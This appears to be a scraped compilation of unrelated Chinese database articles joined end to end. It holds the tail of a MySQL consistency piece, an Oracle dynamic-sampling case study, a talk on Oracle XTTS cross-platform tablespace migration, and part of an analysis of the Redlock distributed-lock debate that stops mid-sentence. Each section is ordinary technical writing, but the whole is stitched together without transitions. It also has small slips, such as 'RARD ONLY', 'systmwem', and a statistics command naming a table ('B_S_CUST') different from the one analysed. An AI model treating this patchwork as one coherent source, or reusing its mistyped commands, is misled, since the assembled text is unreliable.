随着人们对数据一致性要求不断的提高,越来越多的方法被尝试用来解决分布式数据一致性的问题,如MySQL自身的优化、MySQL集群架构的优化、Paxos、Raft、2PC算法的引入等。 而使用分布式算法用来解决MySQL数据库数据一致性问题的方法,也越来越被人们所接受,一系列成熟的产品如PhxSQL、MariaDB Galera Cluster、Percona XtraDB Cluster等越来越多的被大规模使用。 随着官方MySQL Group Replication的GA,使用分布式协议来解决数据一致性问题已经成为了主流的方向。期望越来越多优秀的解决方案被提出,MySQL高可用问题也可以被更好的解决。 原文发布时间为:2017-03-23 本文来自云栖社区合作伙伴DBAplus
作者介绍 蒋健,云趣网络科技联合创始人,11g OCM,多年Oracle设计、管理及实施经验,精通数据库优化,Oracle CBO及并行原理,曾为多个行业的客户的 Oracle 系统实施小型机到 X86跨平台迁移和数据库优化服务。云趣鹰眼监控核心设计和开发者,资深Python Web开发者。(文章审校:杨建荣) 动态采样介绍 Oracle 动态采样(Dynamic Sampling,12c 称为 Dynamic statistics),是对统计信息的一个重要补充,当数据动态变化,无法用典型的统计信息描述时,动态采样可以给在解析时对表中数据进行采样,为优化器提供准确的估算值(cardinality)。动态采样的主要有以下几个应用场景: 一个经典的场景就是业务场景中的临时表,比如 ETL 数据清洗转换过程中的临时表,比如 BI 系统中存放计算报表结果的临时表。这些临时表可能是 Oracle 中的 global temporary table,也可能是正常的堆表。因为临时表中的数据时动态变化的,不同时间点,临时表中的数据量变化很大,没有一种合适的统计信息使优化器产生合适的执行计划。这种场景适合采用动态采样技术,通常会删除临时表上的统计信息,并且锁定统计信息,不让搜集统计信息的 Job 更新临时表上的统计信息,查询临时表时,优化器会对临时表进行动态采样,以确定临时表的 cardinality。 另一个场景是在单表上使用组合过滤条件,并且组合过滤条件并不是简单的相等操作,或者在过滤列上使用转换函数,无法使用 column group 扩展统计信息,简单使用多个列上的统计信息也无法产生合适的统计信息。 12c 之前,动态采样只能预估单表 cardinality,12c 版本,Oracle 对动态采样做了很大的增强,可以估算 group by 的聚合结果集和连接结果集的 cardinality。 使用动态采样,优化器往往可以获得高质量的估算值,从而产生更优化的执行计划。本文将介绍三种动态采样的适用场景。 临时表和动态采样 优化器动态采样解析 实际案例 金融行业客户 CRM 系统的分析语句执行时间经常需要5分钟以上,通过分析 Top SQL的执行计划,发现执行计划的估算值偏差离谱,比如下图SQL Monitor 报告中,对于表P_CUST_STAT,优化器估算值为1,实际值为一千四百万行。导致后续连接方式为 nested loop,被驱动表被访问了一千四百万次。 通过表的统计信息,可以发现10月9号搜集统计信息时,表P_CUST_STAT中没有数据,Num_Rows为0行, 所以优化器估算为1行。虽然P_CUST_STAT是正常对表,但是在应用中被用于临时表,数据是动态生成和删除的。 另一个例子,下图 SQL Monitor 报告中,表B_S_CUST_STAT的过滤条件为Data_date = to_date(20161008,'yyyymmdd'), 估算值同样为一行,实际值为一千四百万行,导致后续连接方式为 nested loop outer,被驱动视图表访问了一千四百万次。 通过表B_S_CUST_STAT的统计信息,统计信息收集时间为10月9号早上8点,Num_Rows为一千三百七十万行记录,看起来表上的统计信息是正确的。 继续查看B_S_CUST_STAT列上的统计信息,Data_date 列上只有一个唯一值,为10月7号。表B_S_CUST_STAT只存放一天的数据,当统计信息搜集时,表中的数据为10月7号的数据。之后,数据被替换为10月8号的数据,统计信息并没有及时更新,导致当天之后对表 P_CUST_STAT的使用 Data_date = to_date(20161008,'yyyymmdd') 的查询的估算值都为1。 create or replace function raw_to_date(i_raw raw) return date as m_n date; begin dbms_stats.convert_raw_value(i_raw,m_n); return m_n; end; / select raw_to_date('78740A07010101') stats_value from dual; STATS_VALUE ------------------- 2016-10-07 00:00:00 解决方案 删除表B_S_CUST_STAT和P_CUST_STAT的统计信息并且进行锁定,保证后续对临时表的查询会使用动态采样,得到准确的估算值。 Exec dbms_stats.delete_table_stats(‘CRM’,’B_S_CUST’); Exec dbms_stats.lock_table_stats(‘CRM’,’B_S_CUST’); Exec dbms_stats.delete_table_stats(‘CRM’,’P_CUST_STAT’); Exec dbms_stats.lock_table_stats(‘CRM’,’P_CUST_STAT’); 复杂查询的动态采样 对于有复杂的过滤条件的sql, 为了在执行计划中得到正确的cardinality, 统计信息未必有帮助, 包括extended statistics. 比如下面in和like的组合条件, 或者where条件中使用了自定义的函数。 status in (‘COM’, ‘ERR’) and v1 like ‘10%’ 这时候dynamic sampling可能是唯一的选择。下面是一个例子, 采用level为6的采样之后,cardinality更为接近真实的数据。 构造一个1百万行数据的测试表,搜集统计信息。 测试 SQL,估算值为395行,实际值为11113行,差距为30倍左右。 使用动态采样,级别为6,估算值为16595行,实际为11113行,差距不到2倍,估算值的质量大幅提升。 12c 动态采样的增强,对连接和 group by 结果集的统计 测试SQL结果集为13行,12c中采样级别设为11,实际为auto时,CBO估算为12行,准确性很高,并且在表上有统计信息的情况下依然可以进行采样(采样级别设为6时,不使用采样,清除表上的统计信息后,可发现采样级别为6的时候,CBO估算值15743行,差别很大) 总结 Oracle 动态采样在性能优化上有诸多应用场景,12c中更是得到加强,更深入了解动态采样的特性对性能优化有着重要的意义。 原文发布时间为:2017-03-22 本文来自云栖社区合作伙伴DBAplus
师介绍 杨光 新炬网络高级工程师 近十年数据库运维、数据分析、数据库设计以及系统规划建设经验。 长期为国内电信运营商的大型IT系统进行系统软件运维、数据架构规划、设计和实施以及大型IT系统数据建模工作。 在大数据平台技术架构以及大数据资产管理方面有着深入的研究。 演讲大纲: 1. 什么是XTTS 2. 适用场景 3. XTTS的基本操作步骤 4. XTTS案例分享 今天主要跟大家分享一下XTTS,我在网上曾看过相关讨论,但发现按网上讲的那些去实际操作的话,还是会遇到一些坑,并不能实际落下来,所以今天想跟大家分享一些实战干货。 一、什么是XTTS 首先什么是XTTS。XTTS其实是从TTS来的,TTS大家做过吗?TTS其实也是传输数据的一种手段,传输数据的时候可能用过EXP的方式,再往后可能用数据泵导入导出一些数据,或者去做备份然后再恢复。其实还有一种方式是用TTS,TTS就是传输表空间,把表空间传输出去,数据从一个库传输到另外一个库,而XTTS是在TTS基础上做了一些更新,支持了跨平台,再有一个可以支持增量备份。 因为过去传统的TTS是不支持增量的,我们可以想象一下,一个表空间从一个库拷贝到另外一个库,转移过程当中业务新增的数据是有所丢失的。 二、适用场景 1数据泵 我们做数据迁移的时候大概有三种手段,第一种是数据泵,这种方式进行数据迁移,为了保证应用不丢数据,做的时候需要把应用停掉,停完应外之后数据没有更新了,可以能保证所有业务表的一致性,这种方式操作起来其实是最简单的,它比较适用的场景就是数据量比较小、数据大概在5T以下,使用数据泵会方便很多。 2GoldenGate 再往下一种就是我们在做一些重要的大型系统,对它进行迁移时,我们往往会使用GoldenGate,它迁移的时间很短,刚才使用数据泵时需要提前把应用停掉,或者允许迁移过程中的数据丢失,但是对于GoldenGate而言,在准备的阶段数据一直是同步的,只有业务正式割接时才把业务停掉,切换连接串,切到新的库上,停机时间十分短暂。 3XTTS 我们再看一下XTTS,XTTS其实也是类似于GoldenGate的方式,也是前期要有一个准备,有一个数据的初始化,数据初始化之后,它是后续作为一个增量的恢复,把我们初始化之后的那些变更数据,使用增量的备份和恢复,去把之前的数据往前补上,到最后应用切换时,把最后一次小增量再补回来。这样我们保证割接的时间便会比较短暂。 最短停机时间,最少数据丢失的一种,这是甲方的诉求。那么我来总结下三种方式: 数据泵、GoldenGate、XTTS这三种方式都是支持跨版本、跨平台、停机时间,对于GoldenGate来说它的停机时间是最短的,数据泵是停机时间最长,XTTS是介于这两者之间的,我们后面会进行更深入的讨论,看一下XTTS实际的步骤,在看完这个步骤之后,就可以看到时间具体花在哪。 三、XTTS的基本操作步骤 对于现在很多大型企业来说,现在有一个很大的环境是去IOE,但O是很难去掉的一个东西,而I和E其实是很多厂商开始实施的事情,这里就有一个很重要的点就是跨平台,平台会从以前的小机迁移到x86,所以我们需要考虑到跨平台的问题。 1TTS的基本步骤 A、将源端数据库表空间设置为READ ONLY模式。 B、传输数据文件到目标系统。 C、转换数据文件为目标系统的字节序。 D、在源端导出元数据,并在目标端导入。 E、将目标端的数据库表空间设置为READ WRITE。 讲解XTTS前可以先看一下TTS,很多同学想必都用过TTS。TTS操作起来很简单,第一步是把源端的表空间设置为READ ONLY,把源端的数据文件传输到目标端,拷贝过去就可以,拷贝过去之后会牵扯到转换字节序的问题,然后是在源端对源数据做一个元数据的导出,在目标端把元数据再导入,导入之后我的目标端就已经能看到用户的数据,最后把目标端表空间置为READ WRITE。 2XTTS的基本步骤 A、将源端数据文件传输到目标系统。 B、转换数据文件为目标系统的字节序。 C、在源端创建增量备份,并传输到目标端。 D、在目标端恢复增量别分。 E、重复多次操作C和D步骤。 F、将源端数据库表空间设置为READ ONLY模式。 G、最后一次执行C和D步骤。 H、在源端导出元数据,并在目标端导入。 I、将目标端的数据库表空间设置为READ WRITE。 再看到XTTS的步骤,猛的看上去这个步骤比TTS多了很多,但其实它中间变化很少,其实E这个步骤写的是重复C和D,G这部分也是重复C和D,真正多的步骤是在源端进行一个增量的备份,把它传输到目标端,在目标端做一个增量的恢复。 我们谈谈做TTS具体存在哪些问题。我们把源端的一个表空间置成了READ ONLY,这时已经不能提供正常业务了,对于5乘8的系统来说,对它的影响其是比较小的,可以接受这种情况的。但对于7*24小时的业务来说,不可能在迁移的过程中随便的停掉源端的业务,这种肯定不能接受的,这个时候就需要迁移的过程当中尽量保证业务是可用的,而XTTS就可以保证源端的业务迁移前一直可用。 3XTTS的参数设置 XTTS涉及到的参数,乍一看感觉比较多,其实可以分成两部分的参数,XTTS可以使用两种方法去传输数据。我个人是建议使用DBMS_FILE_TRANSFER数据包的方式去做。 第一个是平台号,可以通过语句从源端数据库里面查询到。第二个是源端的数据文件目录,第三个是目标端的一个目录,第四个是目标端创建的db_link,剩下几个是源端备份保存路径,目标端备份文件的保存路径,还有目标端增量备份的路径。底下这两个都叫目标端文件的路径,这两个有什么区别呢?这个目标端备份的路径可以理解为,你迁移完之后,你数据文件所在的路径,即迁移完之后,我把数据从这边迁移到了这边,新的数据文件在目录里面就是它的目录,backupondest是增量备份文件目录,增量备份文件是从源端产生的,是源端做完第一次初始化之后,源端需要对这段时间做一个增量的备份,而这些备份集放在这个目录里面。 XTTS案例-准备 下面讲一个简单的例子,看一下XTTS操作是什么样的,首先第一步是在源端,源端执行如下命令: § 源端运行perl脚本,操作命令 $ORACLE_HOME/perl/bin/perl xttdriver.pl –S 该操作将生成xttnewdatafiles.txt、getfile.sql两个文件。 XTTS案例-数据文件拷贝 首先需要在配置信息里面,把这些信息做好配置,做好配置之后可以在源端执行—S操作,当然在这个位置需要设置上要传输哪一些表空间,执行完—S会生成两个文件。然后,我们要把生成的那两个文件传输到目标端,传输到目标端之后执行—G这个参数,会把源端数据文件抽到目标端。 目标端执行命令: XTTS案例-进行第1次增量备份 因为抽取过程往往是比较费时的,所以我们需要把这一段时间的数据再追回来,追回来时在源端做一次增量备份,这个备份指的是从第一次拽数据文件到做本次增量备份的时间段内新增的数据,执行如下命令,这样执行完了文件的备份,目录底下生成三个文件,做增量恢复的时候需要把它产生的文件,以及增量备份级同时拷到目标端。 $ORACLE_HOME/perl/bin /perl xttdriver.pl –i 该命令将对xtt.properties参数文件中指定的表空间,使用进行一个增量备份,同时会生成tsbkupmap.txt、incrbackups.txt、xttplan.txt三个文件。 备份的数据是从做xttdriver.pl -S时在xttplan.txt文件中记录的SCN开始的。备份完成后需要将这3个文件连同增量备份集一起传输到目标端。 XTTS案例-进行第1此增量恢复 拷贝到目标端后,我们就执行一下—r操作,完了之后把增量备份恢复到了目标端。然后回到源端执行Pl—s操作,确认了增量备份已经完成了恢复,这样下次再做增量备份时,就从上一次做增量备份的点继续往后去做备份。 但是如果一套库上有多个实例的话,在执行该步骤之前,需要对环境变量进行确认,如检查当前ORACLE_SID是否是需要执行的SID,否则可能会恢复到其他实例上。(并非是真实的恢复,因为其他实例跟这个备份集没有任何关系,但恢复的过程会在其他实例上进行一遍,如关闭/启动数据库,包括增量恢复的日志都会在另一个数据库上显示。)如果发生了这种事情,不用紧张,调整好环境变量,再执行一次perl xttdriver.pl –r即可。误操作的实例不受影响。 XTTS案例-进行SCN推进 解释下—s这个过程。假设初始化数据文件时SCN号是100,做增量时SCN号是200,这之间数据是从100到200之间,如果做完—s之后再做增量备份,这个SCN号就变成200了。如果不做—s,就意味着在源端做恢复的时候,有可能出现了异常,我没有恢复成功,这会我再去做增量备份,还是从100开始往后做。 $ORACLE_HOME/perl/bin/ perl xttdriver.pl –s 该命令将修改FROM_SCN,用于确定下一次增量备份的起点。 建议在【目标端】每次做完recover动作后,【源端】就执行一次该命令,以免遗忘。 XTTS案例-最后的增量备份和恢复 最后一次做备份及恢复时有很重要的一步,就是我们把源端的表空间设成RARD ONLY,再做一次备份和恢复,这样就完成了数据文件传输的过程。最后的步骤还是元数据的导入,最后这个步骤和TTS步骤几乎是一样的。导出和导入的命令也是很简单。 【原库端】表空间设置为READ ONLY alter tablespace XXXX read only; 【原库端】做最后一次增量备份 perl xttdriver.pl –i 【目标端】做最后一次增量恢复 perl xttdriver.pl –r 在执行完恢复操作后,脚本会自动将目标库重启,不需要人工干预,如果出现到mount状态出现异常,根据情况手工执行后续命令。 刚才说的是理想的实验环境过程,通过这个过程大家可以简单了解XTTS整个过程,而从这个过程大家会发现XTTS其实是很简单的一个过程,第一步是写配置文件,配置文件里面写好我们的一些系统里的信息,它的平台号,写上传输哪一些表空间,以及设置一些文件的源端的地址,目标端的地址配备好之后,然后去执行一些后面的参数,都是很简单的一些操作,下面我们就考虑一些实际当中的一些案例。 四、XTTS案例分享 1运营商环境 首先是目标端是生产库,第二个是源端的数据量是20TB+,每天归档量是1TB+,本地空间不足2TB,网络单进程是35MB/S,业务中断时间是3小时内,业务中断时间这么短,数据量比较大的情况下,第一时间就会考虑GoldenGate,因为它的数据是实时传输的,最后保证最后中断时间比较短。 大家入行业时大概都听说过DBA是比较清闲的一份事业,这个其实是每个人刚入行时的愿景,实际工作当中往往碰不到,尤其遇到这种需求时。在这种情况下,如果用GoldenGate的话,就需要把数据库里的每一个用户去分组做一个导出,导出完之后再去目标端做一个个恢复,恢复完之后建立了某几个用户的连接之后再循环操作。再加上每次传出数据量只有1TB,网络速度又不是很高,时间和工作量是一个很大的情况。基本上至少要两周的时间才能完成GoldenGate的搭建,这样再过一段时间稳定之后,业务方才会去允许你做正式的割接,这个工作量可能大家都深有体会。实际上, XTTS可以较轻松地解决这个问题。 首先,数据量虽然是20TB,但是调用DBMS_FILE_TRANSFER包,我们可以很轻松地把源端数据文件传输到目标端,传输的过程当中人为不需要干预的,周末的时候让它传输文件就好了,一个周末传完数据文件之后,周一来了之后对它进行从周五到周一这段时间增量数据做一个恢复就OK,只要保证我在正式迁移的那一天,我差的数据比较少的情况下就可以完成迁移的工作。 但XTTS也并非完美,它存在一个问题,就是在它做恢复时,就是刚才我们看到的那个步骤需要重启数据库,这个案例里面对的问题是目标端数据库也是一个生产库,这种情况下如何破解呢?很简单。 我们只需要创建一个pfile就可以了,这样我在做数据文件恢复的过程中,就不会影响到我的生产环境。再有一个问题就是考虑如何把整个最后增量的备份和恢复时间缩短到可控的时间(三个小时之内)。 2如何加速XTTS 我们来看一下这个XTTS整个的时间流程,准备阶段、初始化和N次增量备份恢复,这些都是迁移之前的,只需要考虑实际停业务的时间,这段时间做表空间只读,增量备份恢复,元数据导入,数据校验。我们知道表空间的只读和数据的校验,这两个时间是固定的,表空间只读速度很快,关键的时间点是增量的备份和恢复的时间,以及元数据的导入时间。 这是一个实际的案例,我们在做增量备份时,一天的数据,因为它每天的归档量是1T,每24个小时业务数据需要备份的时间是6个小时,这种情况下再加上网络速度,备份是需要6小时,传输这些增量备份时间也需要6小时,恢复需要4个小时,时间一加是6+6+4就是16个小时,整个备份恢复的时间是一个很长的时间,换句话说,完全不可能缩减到3小时以内。 其实我们可以利用Oracle的一些特性,比方说它有一个BCT的特性,我们可以开启BCT的特性,它做增量备份时,它只会扫描有变更的数据块,这样就可以加速备份的时间。开启的方式也很简单,执行如下命令就直接开启,需要注意的目录需要共享的目录。 再有一个问题就是关于传输的问题,有了增量备份,增量备份放在源端,放在源端之后,传输备份也是需要一定时间。刚刚看到实际环境里面,网络环境是35兆每秒,对于24小时数据,产生的备份文件也是1T,拿1T除以35兆每秒,时间也很长,我们如何优化传输的时间呢?这里面有一个小技巧,就是在RMAN里面开启并行,表空间最多对应那么多分片,这样有了分片之后就可以开不同的进程传输数据文件。 为什么说这个有意义呢?因为在生产环境里面,我们发现有一些表空间会比其他表空间大很多,就是它的容量很不均匀,有可能一个表空间的大小就可以超过其它表空间很多倍,虽然我是一口气对十几个表空间做迁移的工作,但那一个表空间传输的时间是最长的。我经过开启并行之后,把一个表空间分成8个片,分组进行传输,这样就可以加快传输的速度。 再有一个是我们要考虑元数据导入的时间,正常情况下,元数据导入的时间73%花在统计信息导入这一块。这块有一个小的技巧可加入统计信息导入,就是我第一次导入这个元数据的时候,把统计信息排除,排除掉之后可以快速地第二次导入,第二次导入时会加入一个并行,这一块就可以很快速地导入这些文件。同时这一步可以把之前没有导入的这些过程,视图、包、触发器这些信息也可以导入进去。表空间里面只包含表、索引这些东西,但下面这些东西其实是存在系统表空间里的,系统表空间没有通过XTTS做迁移,所以这部分数据如果不导入的话是丢失的。 3迁移前的准备 最后我们再来看看整个XTTS在前期准备当中还需要做哪一些工作。首先是对象的统计,跟业务确认需要传输哪一些数据,哪一些表空间是迁移的对象。第二个是源端字符集的检查。第三个是检查表有没有空段,第四个是失效对象检查。第五是基于XMLSchema的HMLType对象检查。第六个是目标端创建检查用DBlink。第七个是检查源数据库的目标库具有重复名称的表空间。最后是检查是否存在应用用户建在systmwem、sysaux、users上的情况。 然后表空间自包含的检查,所有表空间里面是否都是自包含的,对表新旧环境role,对比新旧环境profile,在新环境当中对比并创建用户,生成恢复用户默认表空间和临时表空间的脚本,创建非默认的temep表空间,最后一部分是软件包上传。 五、总结 简单总结一下,XTTS支持跨平台迁移,操作起来十分方便,使用XTTS之后就可以让DBA过上一个理想中的生活,轻松完成迁移工作。最后,它的停机时间较短。 建议大家在做迁移的时候减少批次,批次越多,增量备份的数据越少,数据越少,最后停机时间越短,但是这个过程如果做太多就越容易出错。谢谢大家! Q&A Q1:完成增量备份的时候,假如说要恢复时,能不能用归档的方法? A1:在XTTS里面是不可以的。 Q2:如果说加快传输方式的就要开并行,如果有20t,如果开并行有可能影响现有生产? A2:没错,初始化传输数据文件的时候可以开并行,做增量备份的时候也可以开并行,这两个是不一样的。其实这个影响主要是网络传输那一块,看实际的网络带宽。 Q3:并行开完了以后传输速度是加快,生产不停机可能会影响现在生产,会出现等待事件。 A3:做并行的时候,肯定是先要测试网络和磁盘性能最大可以开到几个并行,我们可以开到最大并行减N的方式来保证生产,肯定要给生产留一点空间的。 Q4:EXP导出的时候,有可能会遇到ora-01555的问题。 A4:没错,但是导出原数据的过程出现的时间很小的,而且表空已经设置为read only,表空间的没有被使用,所以不会出现ora-01555。 Q5:之前说传输,从源端到目标端有一个重启,那块没听太懂。 A5:XTTS在执行—l的时候,会导致目标和数据库自动重启到写nomount状态下恢复数据文件,这个过程中,可以创建另外一个实例来做恢复这个事情,只有真正的到元数据导入这个步骤的时候,再切换到实际的目标库就可以了。 原文发布时间为:2017-03-20 本文来自云栖社区合作伙伴DBAplus
自从我写完这个话题的上半部分之后,就感觉头脑中出现了许多细小的声音,久久挥之不去。它们就像是在为了一些鸡毛蒜皮的小事而相互争吵个不停。的确,有关分布式的话题就是这样,琐碎异常,而且每个人说的话听起来似乎都有道理。 今天,我们就继续探讨这个话题的后半部分。本文中,我们将从Antirez反驳Martin Kleppmann的观点开始讲起,然后会涉及到Hacker News上出现的一些讨论内容,接下来我们还会讨论到基于Zookeeper和Chubby的分布式锁是怎样的,并和Redlock进行一些对比。最后,我们会提到Martin对于这一事件的总结。 还没有看过上半部分的同学,请先阅读:《基于Redis的分布式锁到底安全吗?(上)》 Antirez的反驳 Martin在发表了那篇分析分布式锁的blog (How to do distributed locking)之后,该文章在Twitter和Hacker News上引发了广泛的讨论。但人们更想听到的是Redlock的作者Antirez对此会发表什么样的看法。 Martin的那篇文章是在2016-02-08这一天发表的,但据Martin说,他在公开发表文章的一星期之前就把草稿发给了Antirez进行review,而且他们之间通过email进行了讨论。 不知道Martin有没有意料到,Antirez对于此事的反应很快,就在Martin的文章发表出来的第二天,Antirez就在他的博客上贴出了他对于此事的反驳文章,名字叫"Is Redlock safe?",地址如下:http://antirez.com/news/101 这是高手之间的过招。Antirez这篇文章条例也非常清晰,并且中间涉及到大量的细节。Antirez认为,Martin的文章对于Redlock的批评可以概括为两个方面(与Martin文章的前后两部分对应): 带有自动过期功能的分布式锁,必须提供某种fencing机制来保证对共享资源的真正的互斥保护。Redlock提供不了这样一种机制。 Redlock构建在一个不够安全的系统模型之上。它对于系统的记时假设(timing assumption)有比较强的要求,而这些要求在现实的系统中是无法保证的。 Antirez对这两方面分别进行了反驳。 首先,关于fencing机制。Antirez对于Martin的这种论证方式提出了质疑:既然在锁失效的情况下已经存在一种fencing机制能继续保持资源的互斥访问了,那为什么还要使用一个分布式锁并且还要求它提供那么强的安全性保证呢? 即使退一步讲,Redlock虽然提供不了Martin所讲的递增的fencing token,但利用Redlock产生的随机字符串(my_random_value)可以达到同样的效果。这个随机字符串虽然不是递增的,但却是唯一的,可以称之为unique token。 Antirez举了个例子,比如,你可以用它来实现“Check and Set”操作,原话是: When starting to work with a shared resource, we set its state to “<token>”, then we operate the read-modify-write only if the token is still the same when we write. (译文:当开始和共享资源交互的时候,我们将它的状态设置成“<token>”,然后仅在token没改变的情况下我们才执行“读取-修改-写回”操作。) 第一遍看到这个描述时,我个人是感觉没太看懂的。“Check and Set”应该就是我们平常听到过的CAS操作了,但它如何在这个场景下工作,antirez并没有展开说(在后面讲到Hacker News上的讨论的时候,我们还会提到)。 然后,Antirez的反驳就集中在第二个方面上:关于算法在记时(timing)方面的模型假设。在我们前面分析Martin的文章时也提到过,Martin认为Redlock会失效的情况主要有三种: 时钟发生跳跃。 长时间的GC pause。 长时间的网络延迟。 Antirez肯定意识到了这三种情况对Redlock最致命的其实是第一点:时钟发生跳跃。这种情况一旦发生,Redlock是没法正常工作的。 而对于后两种情况来说,Redlock在当初设计的时候已经考虑到了,对它们引起的后果有一定的免疫力。所以,Antirez接下来集中精力来说明通过恰当的运维,完全可以避免时钟发生大的跳跃,而Redlock对于时钟的要求在现实系统中是完全可以满足的。 Martin在提到时钟跳跃的时候,举了两个可能造成时钟跳跃的具体例子: 系统管理员手动修改了时钟。 从NTP服务收到了一个大的时钟更新事件。 Antirez反驳说: 手动修改时钟这种人为原因,不要那么做就是了。否则的话,如果有人手动修改Raft协议的持久化日志,那么就算是Raft协议它也没法正常工作了。 使用一个不会进行“跳跃”式调整系统时钟的ntpd程序(可能是通过恰当的配置),对于时钟的修改通过多次微小的调整来完成。 而Redlock对时钟的要求,并不需要完全精确,它只需要时钟差不多精确就可以了。比如,要记时5秒,但可能实际记了4.5秒,然后又记了5.5秒,有一定的误差。不过只要误差不超过一定范围,这对Redlock不会产生影响。antirez认为呢,像这样对时钟精度并不是很高的要求,在实际环境中是完全合理的。 好了,到此为止,如果你相信Antirez这里关于时钟的论断,那么接下来Antirez的分析就基本上顺理成章了。 关于Martin提到的能使Redlock失效的后两种情况,Martin在分析的时候恰好犯了一个错误(在本文上半部分已经提到过)。在Martin给出的那个由客户端GC pause引发Redlock失效的例子中,这个GC pause引发的后果相当于在锁服务器和客户端之间发生了长时间的消息延迟。Redlock对于这个情况是能处理的。 回想一下Redlock算法的具体过程,它使用起来的过程大体可以分成5步: 获取当前时间。 完成获取锁的整个过程(与N个Redis节点交互)。 再次获取当前时间。 把两个时间相减,计算获取锁的过程是否消耗了太长时间,导致锁已经过期了。如果没过期, 客户端持有锁去访问共享资源。 在Martin举的例子中,GC pause或网络延迟,实际发生在上述第1步和第3步之间。而不管在第1步和第3步之间由于什么原因(进程停顿或网络延迟等)导致了大的延迟出现,在第4步都能被检查出来,不会让客户端拿到一个它认为有效而实际却已经过期的锁。 当然,这个检查依赖系统时钟没有大的跳跃。这也就是为什么Antirez在前面要对时钟条件进行辩护的原因。 有人会说,在第3步之后,仍然可能会发生延迟啊。没错,Antirez承认这一点,他对此有一段很有意思的论证,原话如下: The delay can only happen after steps 3, resulting into the lock to be considered ok while actually expired, that is, we are back at the first problem Martin identified of distributed locks where the client fails to stop working to the shared resource before the lock validity expires. Let me tell again how this problem is common with all the distributed locks implementations, and how the token as a solution is both unrealistic and can be used with Redlock as well. (译文:延迟只能发生在第3步之后,这导致锁被认为是有效的而实际上已经过期了,也就是说,我们回到了Martin指出的第一个问题上,客户端没能够在锁的有效性过期之前完成与共享资源的交互。让我再次申明一下,这个问题对于所有的分布式锁的实现是普遍存在的,而且基于token的这种解决方案是不切实际的,但也能和Redlock一起用。) 这里Antirez所说的“Martin指出的第一个问题”具体是什么呢?在本文上半部分我们提到过,Martin的文章分为两大部分,其中前半部分与Redlock没有直接关系,而是指出了任何一种带自动过期功能的分布式锁在没有提供fencing机制的前提下都有可能失效。 这里Antirez所说的就是指Martin的文章的前半部分。换句话说,对于大延迟给Redlock带来的影响,恰好与Martin在文章的前半部分针对所有的分布式锁所做的分析是一致的,而这种影响不单单针对Redlock。 Redlock的实现已经保证了它是和其它任何分布式锁的安全性是一样的。当然,与其它“更完美”的分布式锁相比,Redlock似乎提供不了Martin提出的那种递增的token,但Antirez在前面已经分析过了,关于token的这种论证方式本身就是“不切实际”的,或者退一步讲,Redlock能提供的unique token也能够提供完全一样的效果。 另外,关于大延迟对Redlock的影响,Antirez和Martin在Twitter上有下面的对话: antirez:@martinkl so I wonder if after my reply, we can at least agree about unbound messages delay to don’t cause any harm. Martin:@antirez Agree about message delay between app and lock server. Delay between app and resource being accessed is still problematic. (译文: antirez问:我想知道,在我发文回复之后,我们能否在一点上达成一致,就是大的消息延迟不会给Redlock的运行造成损害。 Martin答:对于客户端和锁服务器之间的消息延迟,我同意你的观点。但客户端和被访问资源之间的延迟还是有问题的。) 通过这段对话可以看出,对于Redlock在第4步所做的锁有效性的检查,Martin是予以肯定的。但他认为客户端和资源服务器之间的延迟还是会带来问题的。Martin在这里说的有点模糊。就像antirez前面分析的,客户端和资源服务器之间的延迟,对所有的分布式锁的实现都会带来影响,这不单单是Redlock的问题了。 以上就是Antirez在blog中所说的主要内容。有一些点值得我们注意一下: Antirez是同意大的系统时钟跳跃会造成Redlock失效的。在这一点上,他与Martin的观点的不同在于,他认为在实际系统中是可以避免大的时钟跳跃的。当然,这取决于基础设施和运维方式。 Antirez在设计Redlock的时候,是充分考虑了网络延迟和程序停顿所带来的影响的。但是,对于客户端和资源服务器之间的延迟(即发生在算法第3步之后的延迟),Antirez是承认所有的分布式锁的实现,包括Redlock,是没有什么好办法来应对的。 讨论进行到这,Martin和Antirez之间谁对谁错其实并不是那么重要了。只要我们能够对Redlock(或者其它分布式锁)所能提供的安全性的程度有充分的了解,那么我们就能做出自己的选择了。 Hacker News上的一些讨论 针对Martin和Antirez的两篇blog,很多技术人员在Hacker News上展开了激烈的讨论。这些讨论所在地址如下: 针对Martin的blog的讨论: https://news.ycombinator.com/item?id=11059738 针对antirez的blog的讨论: https://news.ycombinator.com/item?id=11065933 在Hacker News上,antirez积极参与了讨论,而Martin则始终置身事外。 下面我把这些讨论中一些有意思的点拿出来与大家一起分享一下(集中在对于fencing token机制的讨论上)。 关于antirez提出的“Check and Set”操作,他在blog里并没有详加说明。果然,在Hacker News上就有人出来问了。Antirez给出的答复如下: You want to modify locked resource X. You set X.currlock = token. Then you read, do whatever you want, and when you write, you "write-if-currlock == token". If another client did X.currlock = somethingelse, the transaction fails. 翻译一下可以这样理解:假设你要修改资源X,那么遵循下面的伪码所定义的步骤。 先设置X.currlock = token。 读出资源X(包括它的值和附带的X.currlock)。 按照"write-if-currlock == token"的逻辑,修改资源X的值。意思是说,如果对X进行修改的时候,X.currlock仍然和当初设置进去的token相等,那么才进行修改;如果这时X.currlock已经是其它值了,那么说明有另外一方也在试图进行修改操作,那么放弃当前的修改,从而避免冲突。 随后Hacker News上一位叫viraptor的用户提出了异议,它给出了这样一个执行序列: A: X.currlock = Token_ID_A A: resource read A: is X.currlock still Token_ID_A? yes B: X.currlock = Token_ID_B B: resource read B: is X.currlock still Token_ID_B? yes B: resource write A: resource write 到了最后两步,两个客户端A和B同时进行写操作,冲突了。不过,这位用户应该是理解错了Antirez给出的修改过程了。按照Antirez的意思,判断X.currlock是否修改过和对资源的写操作,应该是一个原子操作。只有这样理解才能合乎逻辑,否则的话,这个过程就有严重的破绽。 这也是为什么Antirez之前会对fencing机制产生质疑:既然资源服务器本身都能提供互斥的原子操作了,为什么还需要一个分布式锁呢? 因此,Antirez认为这种fencing机制是很累赘的,他之所以还是提出了这种“Check and Set”操作,只是为了证明在提供fencing token这一点上,Redlock也能做到。 但是,这里仍然有一些不明确的地方,如果将"write-if-currlock == token"看做是原子操作的话,这个逻辑势必要在资源服务器上执行,那么第二步为什么还要“读出资源X”呢?除非这个“读出资源X”的操作也是在资源服务器上执行,它包含在“判断-写回”这个原子操作里面。 而假如不这样理解的话,“读取-判断-写回”这三个操作都放在客户端执行,那么看不出它们如何才能实现原子性操作。在下面的讨论中,我们暂时忽略“读出资源X”这一步。 这个基于random token的“Check and Set”操作,如果与Martin提出的递增的fencing token对比一下的话,至少有两点不同: “Check and Set”对于写操作要分成两步来完成(设置token、判断-写回),而递增的fencing token机制只需要一步(带着token向资源服务器发起写请求)。 递增的fencing token机制能保证最终操作共享资源的顺序,那些延迟时间太长的操作就无法操作共享资源了。但是基于random token的“Check and 